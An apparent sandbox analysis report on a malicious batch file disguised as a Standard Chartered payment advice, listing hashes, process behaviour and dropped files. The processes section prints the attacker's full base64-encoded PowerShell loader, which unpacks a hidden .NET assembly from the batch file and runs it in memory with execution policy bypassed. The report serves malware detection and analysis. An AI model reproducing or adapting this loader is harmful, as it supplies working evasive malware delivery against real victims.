Analysis
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max time kernel
118s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
28-03-2024 01:39
Static task
static1
Behavioral task
behavioral1
Sample
Standard Chartered PAYMENT _ADVICE_MT_106.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Standard Chartered PAYMENT _ADVICE_MT_106.bat
Resource
win10v2004-20240226-en
General
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Target
Standard Chartered PAYMENT _ADVICE_MT_106.bat
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Size
192KB
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MD5
0ee6662615731ffcd198cb8f41c4a212
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SHA1
9e6020aa1086720f6eebb7ccb9538e3f70bb7234
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SHA256
a579d37d72cdb59ee457ee47961807df604f9cbdf890a5453f5294078adf5ec5
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SHA512
b6ddabc819683cdc170a5799f419af8c18c79bc05377027a54e607e50a1ca1c7b1b94d06dd1db8fc56751700f60567692888ee191b18f5dabec3388cf20cba0a
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SSDEEP
3072:N/4wIRm6CsFo1CH22h7sC/eeLmd5wsFbZuZemHY2tWiVqd5JSH9hxnAK3irrdtJ0:iusFJh3Sd5tru1HVUAAK34rdtW
Malware Config
Signatures
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Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
Processes:
powershell.exepowershell.exepid process 1868 powershell.exe 2676 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 1868 powershell.exe 2676 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1868 powershell.exe Token: SeDebugPrivilege 2676 powershell.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 1784 wrote to memory of 2988 1784 cmd.exe cmd.exe PID 1784 wrote to memory of 2988 1784 cmd.exe cmd.exe PID 1784 wrote to memory of 2988 1784 cmd.exe cmd.exe PID 2988 wrote to memory of 1868 2988 cmd.exe powershell.exe PID 2988 wrote to memory of 1868 2988 cmd.exe powershell.exe PID 2988 wrote to memory of 1868 2988 cmd.exe powershell.exe PID 2988 wrote to memory of 1868 2988 cmd.exe powershell.exe PID 2988 wrote to memory of 2676 2988 cmd.exe powershell.exe PID 2988 wrote to memory of 2676 2988 cmd.exe powershell.exe PID 2988 wrote to memory of 2676 2988 cmd.exe powershell.exe PID 2988 wrote to memory of 2676 2988 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Standard Chartered PAYMENT _ADVICE_MT_106.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Standard Chartered PAYMENT _ADVICE_MT_106.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY2hyb21lLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\chrome.ps1' -Encoding UTF8"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\chrome.ps1"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msFilesize
7KB
MD54cbb991ce1b8db1f4bdb774aa8b1263a
SHA16aa41c80c427a3b31be6021f205c5a213001d52c
SHA256b0e6582d8ea4abdd97ece00f6110f1ec5b11273a2087a2857bf9bdd39c72d347
SHA5128e2832b3ffa1425b32382513b0251b56e49d9cf57ab4f2c4ae802e47128f2fa0ae7bf022203bd64044d20b49c7facd785fa623aebc6cccff09cee9646fe4918a
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C:\Users\Admin\chrome.batFilesize
192KB
MD50ee6662615731ffcd198cb8f41c4a212
SHA19e6020aa1086720f6eebb7ccb9538e3f70bb7234
SHA256a579d37d72cdb59ee457ee47961807df604f9cbdf890a5453f5294078adf5ec5
SHA512b6ddabc819683cdc170a5799f419af8c18c79bc05377027a54e607e50a1ca1c7b1b94d06dd1db8fc56751700f60567692888ee191b18f5dabec3388cf20cba0a
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C:\Users\Admin\chrome.ps1Filesize
1KB
MD51d6288e218ce9fed4e703ef5aa2e6c08
SHA139c5fbc0b8931bab67c40dc3f45be696ea3beb90
SHA256d0832834c002fe7e915e8c78b21642df8ab90dd778e77f8c9dfbf93d9a517ae6
SHA512c45d64b2aede293f414e1325d711df3314cf9527a62dbb362cf4210b8eeedcb8232feca70bf6a548cc865c9598c02620667b4920a049c9f50d7d7c0eda68507c
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memory/1868-6-0x0000000001F70000-0x0000000001FB0000-memory.dmpFilesize
256KB
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memory/1868-5-0x00000000744E0000-0x0000000074A8B000-memory.dmpFilesize
5.7MB
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memory/1868-7-0x0000000001F70000-0x0000000001FB0000-memory.dmpFilesize
256KB
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memory/1868-9-0x00000000744E0000-0x0000000074A8B000-memory.dmpFilesize
5.7MB
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memory/1868-4-0x00000000744E0000-0x0000000074A8B000-memory.dmpFilesize
5.7MB
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memory/2676-15-0x0000000074490000-0x0000000074A3B000-memory.dmpFilesize
5.7MB
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memory/2676-18-0x0000000000590000-0x00000000005D0000-memory.dmpFilesize
256KB
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memory/2676-17-0x0000000000590000-0x00000000005D0000-memory.dmpFilesize
256KB
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memory/2676-16-0x0000000074490000-0x0000000074A3B000-memory.dmpFilesize
5.7MB
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memory/2676-21-0x0000000074490000-0x0000000074A3B000-memory.dmpFilesize
5.7MB
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memory/2676-22-0x0000000074490000-0x0000000074A3B000-memory.dmpFilesize
5.7MB